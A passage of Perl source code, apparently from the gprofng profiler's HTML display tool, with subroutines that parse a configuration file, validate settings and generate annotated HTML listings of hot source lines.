  return (\%metric_value, \%metric_description, \%metric_found, $user_metrics, $system_metrics, $wall_metrics,
          $summary_metrics, $detail_metrics, $detail_metrics_system, $call_metrics);

} #-- End of subroutine process_metrics_data

#------------------------------------------------------------------------------
# Process source lines that are not part of the target function.
#
# Generate straightforward HTML, but define an anchor based on the source line
# number in the list.
#------------------------------------------------------------------------------
sub process_non_target_source
{
  my $subr_name = get_my_name ();

  my ($start_scan, $end_scan,
      $src_times_regex, $function_regex, $number_of_metrics,
      $file_contents_ref, $modified_html_ref) = @_;

  my @file_contents = @{ $file_contents_ref };
  my @modified_html = @{ $modified_html_ref };
  my $colour_code_line = $FALSE;
  my $input_line;
  my $line_id;
  my $modified_line;

#------------------------------------------------------------------------------
# Main loop to parse all of the source code and take action as needed.
#------------------------------------------------------------------------------
  for (my $line_no=$start_scan; $line_no &lt;= $end_scan; $line_no++)
    {
      $input_line = $file_contents[$line_no];

#------------------------------------------------------------------------------
# Generate straightforward HTML, but define an anchor based on the source line
# number in the list.
#------------------------------------------------------------------------------
      $line_id = extract_source_line_number ($src_times_regex,
                                             $function_regex,
                                             $number_of_metrics,
                                             $input_line);

      if ($input_line =~ /$function_regex/)
        {
          $colour_code_line = $TRUE;
        }

#------------------------------------------------------------------------------
# We need to replace the &quot;&lt;&quot; symbol in the code by &quot;&amp;lt;&quot;.
#------------------------------------------------------------------------------
      $input_line =~ s/$g_less_than_regex/$g_html_less_than_regex/g;

#------------------------------------------------------------------------------
# Add an id.
#------------------------------------------------------------------------------
      $modified_line = &quot;&lt;a id=\&quot;line_&quot; . $line_id . &quot;\&quot;&gt;&lt;/a&gt;&quot;;

      my $coloured_line;
      if ($colour_code_line)
        {
          my $boldface = $TRUE;
          $coloured_line = color_string (
                             $input_line,
                             $boldface,
                             $g_html_color_scheme{&quot;non_target_function_name&quot;});
          $colour_code_line = $FALSE;
          $modified_line .= &quot;$coloured_line&quot;;
        }
      else
        {
          $modified_line .= &quot;$input_line&quot;;
        }
      gp_message (&quot;debugXL&quot;, $subr_name, &quot; $line_no : modified_line = $modified_line&quot;);
      push (@modified_html, $modified_line);
    }

  return (\@modified_html);

} #-- End of subroutine process_non_target_source

#------------------------------------------------------------------------------
# This function scans the configuration file and adapts the internal settings
# accordingly.
#
# Errors are stored during the parsing and processing phase.  They are printed
# at the end and sorted by line number.
#
#
# TBD: Does not yet use the warnings/error system.  This needs to be fixed.
#------------------------------------------------------------------------------
sub process_rc_file
{
  my $subr_name = get_my_name ();

  my ($rc_file_name, $rc_file_paths_ref) = @_;

#------------------------------------------------------------------------------
# Local structures.
#------------------------------------------------------------------------------
# Stores the values extracted from the config file:
  my %rc_settings_user = ();
  my %error_and_warning_msgs = ();
  my @rc_file_paths = ();

  my @split_line;
  my @my_fields;

  my $msg;
  my $first_part;
  my $line;
  my $line_number;
  my $no_of_arguments;
  my $number_of_fields;
  my $number_of_paths;
  my $parse_errors;   #-- Count the number of errors
  my $parse_warnings; #-- Count the number of errors

  my $rc_config_file;
  my $rc_file_found;
  my $rc_keyword;
  my $rc_value;

  @rc_file_paths   = @{$rc_file_paths_ref};
  $number_of_paths = scalar (@rc_file_paths);

  if ($number_of_paths == 0)
#------------------------------------------------------------------------------
# This should not happen, but is a good safety net to add.
#------------------------------------------------------------------------------
    {
      my $msg = &quot;search path list is empty&quot;;
      gp_message (&quot;assertion&quot;, $subr_name, $msg);
    }

#------------------------------------------------------------------------------
# Check for the presence of a configuration file.
#------------------------------------------------------------------------------
  $msg = &quot;number_of_paths = $number_of_paths rc_file_paths = @rc_file_paths&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

  $rc_file_found = $FALSE;
  for my $path_name (@rc_file_paths)
    {
      $rc_config_file = $path_name . &quot;/&quot; . $rc_file_name;
      $msg = &quot;looking for configuration file &quot; . $rc_config_file;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
      if (-f $rc_config_file)
        {
          $msg = &quot;found configuration file &quot; . $rc_config_file;
          gp_message (&quot;debug&quot;, $subr_name, $msg);
          $rc_file_found  = $TRUE;
          last;
        }
    }

  if (not $rc_file_found)
#------------------------------------------------------------------------------
# There is no configuration file and we can skip this subroutine.
#------------------------------------------------------------------------------
    {
      $msg = &quot;configuration file $rc_file_name not found&quot;;
      gp_message (&quot;verbose&quot;, $subr_name, $msg);
      return (0);
    }
  else
    {
      $msg = &quot;unable to open file $rc_config_file for reading:&quot;;
      open (GP_DISPLAY_HTML_RC, &quot;&lt;&quot;, &quot;$rc_config_file&quot;)
        or die ($subr_name . &quot; - &quot; . $msg . &quot; &quot; . $!);
#------------------------------------------------------------------------------
# The configuration file has been opened for reading.
#------------------------------------------------------------------------------
      $msg = &quot;file $rc_config_file has been opened for reading&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
    }

  $msg = &quot;found configuration file $rc_config_file&quot;;
  gp_message (&quot;verbose&quot;, $subr_name, $msg);
  $msg = &quot;processing configuration file &quot; . $rc_config_file;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Here we scan the configuration file for the settings.
#
# A setting consists of a keyword, optionally followed by a value.  It is
# optional because not all keywords may require a value.
#
# At the end of this block, all keyword/value pairs are stored in a hash.
#
# We do not yet check for the validity of these pairs. This is done next.
#
# The original code had this all integrated, but it made the code very
# complex with deeply nested if-statements. The flow was also hard to follow.
#------------------------------------------------------------------------------
  $parse_errors   = 0;
  $parse_warnings = 0;
  $line_number    = 0;
  while (my $line = &lt;GP_DISPLAY_HTML_RC&gt;)
    {
      chomp ($line);
      $line_number++;

      gp_message (&quot;debug&quot;, $subr_name, &quot;read input line = $line&quot;);

#------------------------------------------------------------------------------
# Ignore a line with whitespace only
#------------------------------------------------------------------------------
      if ($line =~ /^\s*$/)
        {
          gp_message (&quot;debug&quot;, $subr_name, &quot;ignored a line with whitespace&quot;);
          next;
        }

#------------------------------------------------------------------------------
# Ignore a comment line, defined by starting with a &quot;#&quot;, possibly prepended by
# whitespace.
#------------------------------------------------------------------------------
      if ($line =~ /^\s*\#/)
        {
          gp_message (&quot;debug&quot;, $subr_name, &quot;ignored a full comment line&quot;);
          next;
        }

#------------------------------------------------------------------------------
# Split the input line using the &quot;#&quot; symbol as a separator.  We have already
# handled the case of an isolated comment line, so there may only be an
# embedded comment.
#
# Regardless of this, we are only interested in the first part.
#------------------------------------------------------------------------------
      @split_line = split (&quot;#&quot;, $line);

      for my $i (@split_line)
        {
          gp_message (&quot;debug&quot;, $subr_name, &quot;elements after split of line: $i&quot;);
        }

      $first_part = $split_line[0];
      gp_message (&quot;debug&quot;, $subr_name, &quot;relevant part = $first_part&quot;);

      if ($first_part =~ /[&amp;\^\*\@\$]+/)
#------------------------------------------------------------------------------
# The &amp;, ^, *, @ and $ symbols should not occur.  If they do, we flag an error
# an fetch the next line.
#------------------------------------------------------------------------------
        {
          $parse_errors++;
          $msg = &quot;non-supported character(s) (\&amp;,\^,\*,\@,\$) found: $line&quot;;
          $error_and_warning_msgs{&quot;error&quot;}{$line_number}{&quot;message&quot;} = $msg;
          next;
        }
      else
#------------------------------------------------------------------------------
# Split the first part on whitespace and verify the number of fields to be
# valid.  Although we currently only have keywords with a value, a keyword
# without value is supported to.
#
# If the number of fields is valid, the keyword and value are stored.  In case
# of a single field, the value is assigned a special string.
#
# Although this situation should not occur, we do abort if something unexpected
# is encountered here.
#------------------------------------------------------------------------------
        {
          @my_fields = split (/\s/, $split_line[0]);

          $number_of_fields = scalar (@my_fields);
          $msg = &quot;number of fields = &quot; . $number_of_fields;
          gp_message (&quot;debug&quot;, $subr_name, $msg);
        }

      if ($number_of_fields ge 3)
#------------------------------------------------------------------------------
# This is not supported.
#------------------------------------------------------------------------------
        {
          $parse_errors++;
          $msg = &quot;more than 2 fields found: $first_part&quot;;
          $error_and_warning_msgs{&quot;error&quot;}{$line_number}{&quot;message&quot;} = $msg;
          next;
        }
      elsif ($number_of_fields eq 2)
        {
          $rc_keyword = $my_fields[0];
          $rc_value   = $my_fields[1];
        }
      elsif ($number_of_fields eq 1)
        {
          $rc_keyword = $my_fields[0];
          $rc_value   = &quot;the_field_is_empty&quot;;
        }
      else
        {
          $msg  = &quot;[line $line_number] $rc_config_file -&quot;;
          $msg .= &quot; number of fields = $number_of_fields&quot;;
          gp_message (&quot;assertion&quot;, $subr_name, $msg);
        }

#------------------------------------------------------------------------------
# Store the keyword, value and line number.
#------------------------------------------------------------------------------
      if (exists ($rc_settings_user{$rc_keyword}))
        {
          $parse_warnings++;
          my $prev_value = $rc_settings_user{$rc_keyword}{&quot;value&quot;};
          my $prev_line_number = $rc_settings_user{$rc_keyword}{&quot;line_no&quot;};
          if ($rc_value ne $prev_value)
            {
              $msg  = &quot;option $rc_keyword previously set at line&quot;;
              $msg .= &quot; $prev_line_number: new value &#039;$rc_value&#039;&quot;;
              $msg .= &quot; &#039; overrides &#039;$prev_value&#039;&quot;;
            }
          else
            {
              $msg  = &quot;option $rc_keyword previously set to the same value&quot;;
              $msg .= &quot; at line $prev_line_number&quot;;
            }
          $error_and_warning_msgs{&quot;warning&quot;}{$line_number}{&quot;message&quot;} = $msg;
        }
      $rc_settings_user{$rc_keyword}{&quot;value&quot;}   = $rc_value;
      $rc_settings_user{$rc_keyword}{&quot;line_no&quot;} = $line_number;

      gp_message (&quot;debug&quot;, $subr_name, &quot;stored keyword     = $rc_keyword&quot;);
      gp_message (&quot;debug&quot;, $subr_name, &quot;stored value       = $rc_value&quot;);
      gp_message (&quot;debug&quot;, $subr_name, &quot;stored line number = $line_number&quot;);
    }

#------------------------------------------------------------------------------
# Completed the parsing of the configuration file. It can be closed.
#------------------------------------------------------------------------------
  close (GP_DISPLAY_HTML_RC);

#------------------------------------------------------------------------------
# Print the raw input as just collected from the configuration file.
#------------------------------------------------------------------------------
  gp_message (&quot;debug&quot;, $subr_name, &quot;contents of %rc_settings_user:&quot;);
  for my $keyword (keys %rc_settings_user)
    {
      my $key_value = $rc_settings_user{$keyword}{&quot;value&quot;};
      $msg = &quot;keyword = &quot; . $keyword . &quot; value = &quot; . $key_value;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
    }

  for my $rc_keyword  (keys %g_user_settings)
    {
       for my $fields (keys %{ $g_user_settings{$rc_keyword} })
         {
           $msg  = &quot;before config file: $rc_keyword $fields =&quot;;
           $msg .= &quot; &quot; . $g_user_settings{$rc_keyword}{$fields};
           gp_message (&quot;debug&quot;, $subr_name, $msg);
         }
    }

#------------------------------------------------------------------------------
# We are almost done.  Check for all keywords found whether they are valid.
# Also verify that the corresponding value is valid.
#
# Update the g_user_settings table if everything is okay.
#------------------------------------------------------------------------------

  for my $rc_keyword (keys %rc_settings_user)
    {
      my $rc_value = $rc_settings_user{$rc_keyword}{&quot;value&quot;};

      if (exists ( $g_user_settings{$rc_keyword}))
        {

#------------------------------------------------------------------------------
# This is a supported keyword.  There are two more things left to do:
# - Check how many values it requires (currently exactly one is supported)
# - Is the value a valid number or string?
#------------------------------------------------------------------------------
          $no_of_arguments = $g_user_settings{$rc_keyword}{&quot;no_of_arguments&quot;};

          if ($no_of_arguments eq 1)
            {
              my $input_value = $rc_value;
              if ($input_value ne &quot;the_field_is_empty&quot;)
#
#------------------------------------------------------------------------------
# So far, so good.  We only need to check if the value is valid for the keyword.
#------------------------------------------------------------------------------
                {
                  my $data_type   = $g_user_settings{$rc_keyword}{&quot;data_type&quot;};
                  my $valid_input =
			verify_if_input_is_valid ($input_value, $data_type);
#------------------------------------------------------------------------------
# Check if the value is valid.
#------------------------------------------------------------------------------
                  if ($valid_input)
                    {
                      $g_user_settings{$rc_keyword}{&quot;current_value&quot;} =
								$rc_value;
                      $g_user_settings{$rc_keyword}{&quot;defined&quot;}  = $TRUE;
                    }
                  else
                    {
                      $parse_errors++;
                      $line_number = $rc_settings_user{$rc_keyword}{&quot;line_no&quot;};
                      $msg  = &quot;input value &#039;$input_value&#039; for keyword&quot;;
                      $msg .= &quot; $rc_keyword is not valid&quot;;
                      $error_and_warning_msgs{&quot;error&quot;}{$line_number}{&quot;message&quot;}
								= $msg;
                      next;
                    }
                }
              else
#------------------------------------------------------------------------------
# This keyword requires a value, but none has been found.
#------------------------------------------------------------------------------
                {
                  $parse_errors++;
                  $line_number = $rc_settings_user{$rc_keyword}{&quot;line_no&quot;};
                  $msg = &quot;missing value for keyword &#039;$rc_keyword&#039;&quot;;
                  $error_and_warning_msgs{&quot;error&quot;}{$line_number}{&quot;message&quot;}
								= $msg;
                  next;
                }
            }
          elsif ($no_of_arguments eq 0)
#------------------------------------------------------------------------------
# Currently a theoretical scenario since all commands require a value, but in
# case this is no longer true, we need to at least flag the fact the user set
# this command.
#------------------------------------------------------------------------------
            {
              $g_user_settings{$rc_keyword}{&quot;defined&quot;}  = $TRUE;
            }
          else
#------------------------------------------------------------------------------
# The code is not prepared for the situation one command has multiple values,
# but this situation should never occur. Still it won&#039;t hurt to add a check.
#------------------------------------------------------------------------------
            {
               my $msg = &quot;cannot handle $no_of_arguments in the input&quot;;
               gp_message (&quot;assertion&quot;, $subr_name, $msg);
            }
        }
      else
#------------------------------------------------------------------------------
# A non-valid keyword is found. This is flagged as an error.
#------------------------------------------------------------------------------
        {
          $parse_errors++;
          $line_number = $rc_settings_user{$rc_keyword}{&quot;line_no&quot;};
          $msg = &quot;keyword $rc_keyword is not supported&quot;;
          $error_and_warning_msgs{&quot;error&quot;}{$line_number}{&quot;message&quot;} = $msg;
        }
    }
  for my $rc_keyword  (keys %g_user_settings)
    {
       for my $fields (keys %{ $g_user_settings{$rc_keyword} })
         {
           $msg  = &quot;after config file: $rc_keyword $fields =&quot;;
           $msg .= &quot; &quot; . $g_user_settings{$rc_keyword}{$fields};
           gp_message (&quot;debug&quot;, $subr_name, $msg);
         }
    }
  print_table_user_settings (&quot;debug&quot;, &quot;upon the return from $subr_name&quot;);

  if ( ($parse_errors == 0) and ($parse_warnings == 0) )
    {
      $msg = &quot;successfully parsed and processed the configuration file&quot;;
      gp_message (&quot;verbose&quot;, $subr_name, $msg);
    }
  else
    {
      if ($parse_errors &gt; 0)
        {
          my $plural_or_single = ($parse_errors &gt; 1) ? &quot;errors&quot; : &quot;error&quot;;
          $msg  = $g_error_keyword . &quot;found $parse_errors fatal&quot;;
          $msg .= &quot; &quot; .  $plural_or_single . &quot; in the configuration file:&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);
#------------------------------------------------------------------------------
# Sort the hash keys, the line numbers, alphabetically and print the
# corresponding error messages.
#------------------------------------------------------------------------------
          for my $line_no (sort {$a &lt;=&gt; $b}
				(keys %{ $error_and_warning_msgs{&quot;error&quot;} }))
            {
              $msg  = $g_error_keyword . &quot;[line $line_no] in file&quot;;
              $msg .=  $rc_config_file . &quot; - &quot;;
              $msg .= $error_and_warning_msgs{&quot;error&quot;}{$line_no}{&quot;message&quot;};
              gp_message (&quot;debug&quot;, $subr_name, $msg);
            }
        }

      if (not $g_quiet)
        {
          if ($parse_warnings &gt; 0)
            {
              $msg  = $g_warn_keyword . &quot; found $parse_warnings warnings in&quot;;
              $msg .= &quot;  the configuration file:&quot;;
              gp_message (&quot;debug&quot;, $subr_name, $msg);
              for my $line_no (sort {$a &lt;=&gt; $b}
				(keys %{ $error_and_warning_msgs{&quot;warning&quot;} }))
                {
                  $msg  = $g_warn_keyword;
                  $msg .= &quot; [line $line_no] in file $rc_config_file - &quot;;
                  $msg .= $error_and_warning_msgs{&quot;warning&quot;}{$line_no}{&quot;message&quot;};
                  gp_message (&quot;debug&quot;, $subr_name, $msg);
                }
            }
        }
    }

  return ($parse_errors);

} #-- End of subroutine process_rc_file

#------------------------------------------------------------------------------
# Generate the annotated html file for the source listing.
#------------------------------------------------------------------------------
sub process_source
{
  my $subr_name = get_my_name ();

  my ($number_of_metrics, $function_info_ref,
      $outputdir, $input_filename) = @_;

  my @function_info = @{ $function_info_ref };

#------------------------------------------------------------------------------
# The regex section
#------------------------------------------------------------------------------
  my $end_src1_header_regex = &#039;(^\s+)(\d+)\.\s+(.*)&#039;;
  my $end_src2_header_regex = &#039;(^\s+)(&lt;Function: )(.*)&gt;&#039;;
  my $function_regex        = &#039;^(\s*)&lt;Function:\s(.*)&gt;&#039;;
  my $function2_regex       = &#039;^(\s*)&amp;lt;Function:\s(.*)&gt;&#039;;
  my $src_regex             = &#039;(\s*)(\d+)\.(.*)&#039;;
  my $txt_ext_regex         = &#039;\.txt$&#039;;
  my $src_filename_id_regex = &#039;^file\.(\d+)\.src\.txt$&#039;;
  my $integer_only_regex    = &#039;\d+&#039;;
#------------------------------------------------------------------------------
# Computed dynamically below.
# TBD: Try to move this up.
#------------------------------------------------------------------------------
  my $src_times_regex;
  my $hot_lines_regex;
  my $metric_regex;
  my $metric_extra_regex;

  my @components = ();
  my @fields_in_line = ();
  my @file_contents = ();
  my @hot_source_lines  = ();
  my @max_metric_values = ();
  my @modified_html = ();
  my @transposed_hot_lines = ();

  my $colour_coded_line;
  my $colour_coded_line_ref;
  my $line_id;
  my $ignore_value;
  my $func_name_in_src_file;
  my $html_new_line = &quot;&lt;br&gt;&quot;;
  my $input_line;
  my $metric_values;
  my $modified_html_ref;
  my $modified_line;
  my $is_empty;
  my $start_all_source;
  my $start_target_source;
  my $end_target_source;
  my $output_line;
  my $hot_line;
  my $src_line_no;
  my $src_code_line;

  my $decimal_separator = $g_locale_settings{&quot;decimal_separator&quot;};
  my $hp_value = $g_user_settings{&quot;highlight_percentage&quot;}{&quot;current_value&quot;};

  my $file_title;
  my $found_target;
  my $html_dis_record;
  my $html_end;
  my $html_header;
  my $html_home;
  my $rounded_percentage;
  my $start_tracking;
  my $threshold_line;

  my $base;
  my $boldface;
  my $msg;
  my $routine;

  my $LANG      = $g_locale_settings{&quot;LANG&quot;};
  my $the_title = set_title ($function_info_ref, $input_filename,
                             &quot;process source&quot;);
  my $outfile   = $input_filename . &quot;.html&quot;;

#------------------------------------------------------------------------------
# Remove the .txt from file.&lt;n&gt;.src.txt
#------------------------------------------------------------------------------
  my $html_output_file  = $input_filename;
  $html_output_file     =~ s/$txt_ext_regex/.html/;

  gp_message (&quot;debug&quot;, $subr_name, &quot;input_filename = $input_filename&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;the_title = $the_title&quot;);

  $file_title  = $the_title;
  $html_header = ${ create_html_header (\$file_title) };
  $html_home   = ${ generate_home_link (&quot;right&quot;) };

  push (@modified_html, $html_header);
  push (@modified_html, $html_home);
  push (@modified_html, &quot;&lt;pre&gt;&quot;);

#------------------------------------------------------------------------------
# Open the html file used for the output.
#------------------------------------------------------------------------------
  open (NEW_HTML, &quot;&gt;&quot;, $html_output_file)
    or die (&quot;$subr_name - unable to open file $html_output_file for writing: &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name , &quot;opened file $html_output_file for writing&quot;);

  $base = get_basename ($input_filename);

  gp_message (&quot;debug&quot;, $subr_name, &quot;base = $base&quot;);

  if ($base =~ /$src_filename_id_regex/)
    {
      my $file_id = $1;
      if (defined ($function_info[$file_id]{&quot;routine&quot;}))
        {
          $routine = $function_info[$file_id]{&quot;routine&quot;};

          gp_message (&quot;debugXL&quot;, $subr_name, &quot;target routine = $routine&quot;);
        }
      else
        {
          my $msg = &quot;cannot retrieve routine name for file_id = $file_id&quot;;
          gp_message (&quot;assertion&quot;, $subr_name, $msg);
        }
    }

#------------------------------------------------------------------------------
# Check if the input file is empty.  If so, generate a short text in the html
# file and return.  Otherwise open the file and read the contents.
#------------------------------------------------------------------------------
  $is_empty = is_file_empty ($input_filename);

  if ($is_empty)
    {
#------------------------------------------------------------------------------
# The input file is empty. Write a diagnostic message in the html file and exit.
#------------------------------------------------------------------------------
      gp_message (&quot;debug&quot;, $subr_name ,&quot;file $input_filename is empty&quot;);

      my $comment = &quot;No source listing generated by $tool_name - &quot; .
                    &quot;file $input_filename is empty&quot;;
      my $error_file = $outputdir . &quot;gp-listings.err&quot;;

      my $html_empty_file_ref = html_text_empty_file (\$comment, \$error_file);
      my @html_empty_file     = @{ $html_empty_file_ref };

      print NEW_HTML &quot;$_\n&quot; for @html_empty_file;

      close NEW_HTML;

      return (0);
    }
  else
#------------------------------------------------------------------------------
# Open the input file with the source code
#------------------------------------------------------------------------------
    {
      open (SRC_LISTING, &quot;&lt;&quot;, $input_filename)
        or die (&quot;$subr_name - unable to open file $input_filename for reading: &#039;$!&#039;&quot;);
      gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $input_filename for reading&quot;);
    }

#------------------------------------------------------------------------------
# Generate the regex for the metrics.  This depends on the number of metrics.
#------------------------------------------------------------------------------
  gp_message (&quot;debug&quot;, $subr_name, &quot;decimal_separator = $decimal_separator&lt;--&quot;);

  $metric_regex = &#039;&#039;;
  $metric_extra_regex = &#039;&#039;;
  for my $metric_used (1 .. $number_of_metrics)
    {
      $metric_regex .= &#039;(\d+&#039; . $decimal_separator . &#039;*\d*)\s+&#039;;
    }
  $metric_extra_regex = $metric_regex . &#039;(\d+&#039; . $decimal_separator . &#039;)&#039;;

  $hot_lines_regex = &#039;^(#{2})\s+&#039;;
  $hot_lines_regex .= &#039;(&#039;.$metric_regex.&#039;)&#039;;
  $hot_lines_regex .= &#039;([0-9?]+)\.\s+(.*)&#039;;

  $src_times_regex = &#039;^(#{2}|\s{2})\s+&#039;;
  $src_times_regex .= &#039;(&#039;.$metric_extra_regex.&#039;)&#039;;
  $src_times_regex .= &#039;(.*)&#039;;

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;metric_regex   = $metric_regex&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;hot_lines_regex = $hot_lines_regex&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;src_times_regex = $src_times_regex&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;src_regex      = $src_regex&quot;);

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;end_src1_header_regex = $end_src1_header_regex&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;end_src2_header_regex = $end_src2_header_regex&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;function_regex = $function_regex&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;function2_regex = $function2_regex&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;src_regex = $src_regex&quot;);

#------------------------------------------------------------------------------
# Read the file into memory.
#------------------------------------------------------------------------------
  chomp (@file_contents = &lt;SRC_LISTING&gt;);

#------------------------------------------------------------------------------
# Identify the header lines.  Make the minimal assumptions.
#
# In both cases, the first line after the header has whitespace.  This is
# followed by either one of the following:
#
# - &lt;line_no&gt;.
# - &lt;Function:
#
# These are the characteristics we use below.
#------------------------------------------------------------------------------
  for (my $line_number=0; $line_number &lt;= $#file_contents; $line_number++)
    {
      $input_line = $file_contents[$line_number];

#------------------------------------------------------------------------------
# We found the first source code line.  Bail out.
#------------------------------------------------------------------------------
      if (($input_line =~ /$end_src1_header_regex/) or
          ($input_line =~ /$end_src2_header_regex/))
        {
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;header time is over - hit source line&quot;);
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;line_number = $line_number&quot;);
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;input_line = $input_line&quot;);
          last;
        }
      else
#------------------------------------------------------------------------------
# Store the header lines in the html structure.
#------------------------------------------------------------------------------
        {
          $modified_line = &quot;&lt;i&gt;&quot; . $input_line . &quot;&lt;/i&gt;&quot;;
          push (@modified_html, $modified_line);
        }
    }
#------------------------------------------------------------------------------
# We know the source code starts at this index value:
#------------------------------------------------------------------------------
  $start_all_source = scalar (@modified_html);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;source starts at start_all_source = $start_all_source&quot;);

#------------------------------------------------------------------------------
# Scan the file to identify where the target source starts and ends.
#------------------------------------------------------------------------------
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;search for target function $routine&quot;);
  $start_tracking = $FALSE;
  $found_target   = $FALSE;
  for (my $line_number=0; $line_number &lt;= $#file_contents; $line_number++)
    {
      $input_line = $file_contents[$line_number];

      gp_message (&quot;debugXL&quot;, $subr_name, &quot;[$line_number] $input_line&quot;);

      if ($input_line =~ /$function_regex/)
        {
          if (defined ($1) and defined ($2))
            {
              $func_name_in_src_file = $2;
              my $msg = &quot;found a function - name = $func_name_in_src_file&quot;;
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);

              if ($start_tracking)
                {
                  $start_tracking = $FALSE;
                  $end_target_source = $line_number - 1;
                  my $msg =  &quot;end_target_source = $end_target_source&quot;;
                  gp_message (&quot;debugXL&quot;, $subr_name, $msg);
                  last;
                }

              if ($func_name_in_src_file eq $routine)
                {
                  $found_target        = $TRUE;
                  $start_tracking      = $TRUE;
                  $start_target_source = $line_number;

                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;found target function $routine&quot;);
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;function_name = $2 routine = $routine&quot;);
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;routine = $routine start_tracking = $start_tracking&quot;);
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;start_target_source = $start_target_source&quot;);
                }
            }
          else
            {
              my $msg = &quot;parsing line $input_line&quot;;
              gp_message (&quot;assertion&quot;, $subr_name, $msg);
            }
        }
    }

#------------------------------------------------------------------------------
# This is not supposed to happen, but it is not a fatal error either.  The
# hyperlinks related to this function will not work, so a warning is issued.
# A message is issued both in debug mode, and as a warning.
#------------------------------------------------------------------------------
  if (not $found_target)
    {
      my $msg;

      $msg = &quot;target function $routine not found in $base - &quot; .
             &quot;links to source code involving this function will not work&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
      gp_message (&quot;warning&quot;, $subr_name, $msg);
      $g_total_warning_count++;

      return ($found_target);
    }

#------------------------------------------------------------------------------
# Catch the line number of the last function.
#------------------------------------------------------------------------------
  if ($start_tracking)
    {
      $end_target_source = $#file_contents;
    }
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;routine = $routine start_tracking = $start_tracking&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;start_target_source = $start_target_source&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;end_target_source   = $end_target_source&quot;);

#------------------------------------------------------------------------------
# We now have the index range for the function of interest and will parse it.
# Since we already handled the first line with the function marker, we start
# with the line following.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Find the hot source lines and store them.
#------------------------------------------------------------------------------
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;determine the maximum metric values&quot;);
  for (my $line_number=$start_target_source+1; $line_number &lt;= $end_target_source; $line_number++)
    {
      $input_line = $file_contents[$line_number];
      gp_message (&quot;debugXL&quot;, $subr_name, &quot; $line_number : check input_line = $input_line&quot;);

      if ( $input_line =~ /$hot_lines_regex/ )
        {
          gp_message (&quot;debugXL&quot;, $subr_name, &quot; $line_number : found a hot line&quot;);
#------------------------------------------------------------------------------
# We found a hot line and the metric fields are stored in $2.  We turn this
# string into an array and add it as a row to hot_source_lines.
#------------------------------------------------------------------------------
              $hot_line      = $1;
              $metric_values = $2;

              gp_message (&quot;debugXL&quot;, $subr_name, &quot;hot_line = $hot_line&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;metric_values = $metric_values&quot;);

              my @metrics = split (&quot; &quot;, $metric_values);
              push (@hot_source_lines, [@metrics]);
        }
      gp_message (&quot;debugXL&quot;, $subr_name, &quot; $line_number : completed check for hot line&quot;);
    }

#------------------------------------------------------------------------------
# Transpose the array with the hot lines.  This means each row has all the
# values for a metrict and it makes it easier to determine the maximum values.
#------------------------------------------------------------------------------
  for my $row (keys @hot_source_lines)
    {
      my $msg = &quot;row[&quot; . $row . &quot;] =&quot;;
      for my $col (keys @{$hot_source_lines[$row]})
        {
          $msg .= &quot; $hot_source_lines[$row][$col]&quot;;
          $transposed_hot_lines[$col][$row] = $hot_source_lines[$row][$col];
        }
    }

#------------------------------------------------------------------------------
# Print the maximum metric values found.  Each row contains the data for a
# different metric.
#------------------------------------------------------------------------------
  for my $row (keys @transposed_hot_lines)
    {
      my $msg = &quot;row[&quot; . $row . &quot;] =&quot;;
      for my $col (keys @{$transposed_hot_lines[$row]})
        {
          $msg .= &quot; $transposed_hot_lines[$row][$col]&quot;;
        }
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;hot lines = $msg&quot;);
    }

#------------------------------------------------------------------------------
# Determine the maximum value for each metric.
#------------------------------------------------------------------------------
  for my $row (keys @transposed_hot_lines)
    {
      my $max_val = 0;
      for my $col (keys @{$transposed_hot_lines[$row]})
        {
          $max_val = max ($transposed_hot_lines[$row][$col], $max_val);
        }
#------------------------------------------------------------------------------
# Convert to a floating point number.
#------------------------------------------------------------------------------
      if ($max_val =~ /$integer_only_regex/)
        {
          $max_val = sprintf (&quot;%f&quot;, $max_val);
        }
      push (@max_metric_values, $max_val);
    }

    for my $metric (keys @max_metric_values)
      {
        my $msg = &quot;$input_filename max_metric_values[$metric] = &quot; .
                  $max_metric_values[$metric];
        gp_message (&quot;debugXL&quot;, $subr_name, $msg);
      }

#------------------------------------------------------------------------------
# Process those functions that are not the current target.
#------------------------------------------------------------------------------
  $modified_html_ref = process_non_target_source ($start_all_source,
                                                  $start_target_source-1,
                                                  $src_times_regex,
                                                  $function_regex,
                                                  $number_of_metrics,
                                                  \@file_contents,
                                                  \@modified_html);
  @modified_html = @{ $modified_html_ref };

#------------------------------------------------------------------------------
# This is the core part to process the information for the target function.
#------------------------------------------------------------------------------
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;parse and process the target source&quot;);
  $modified_html_ref = process_target_source ($start_target_source,
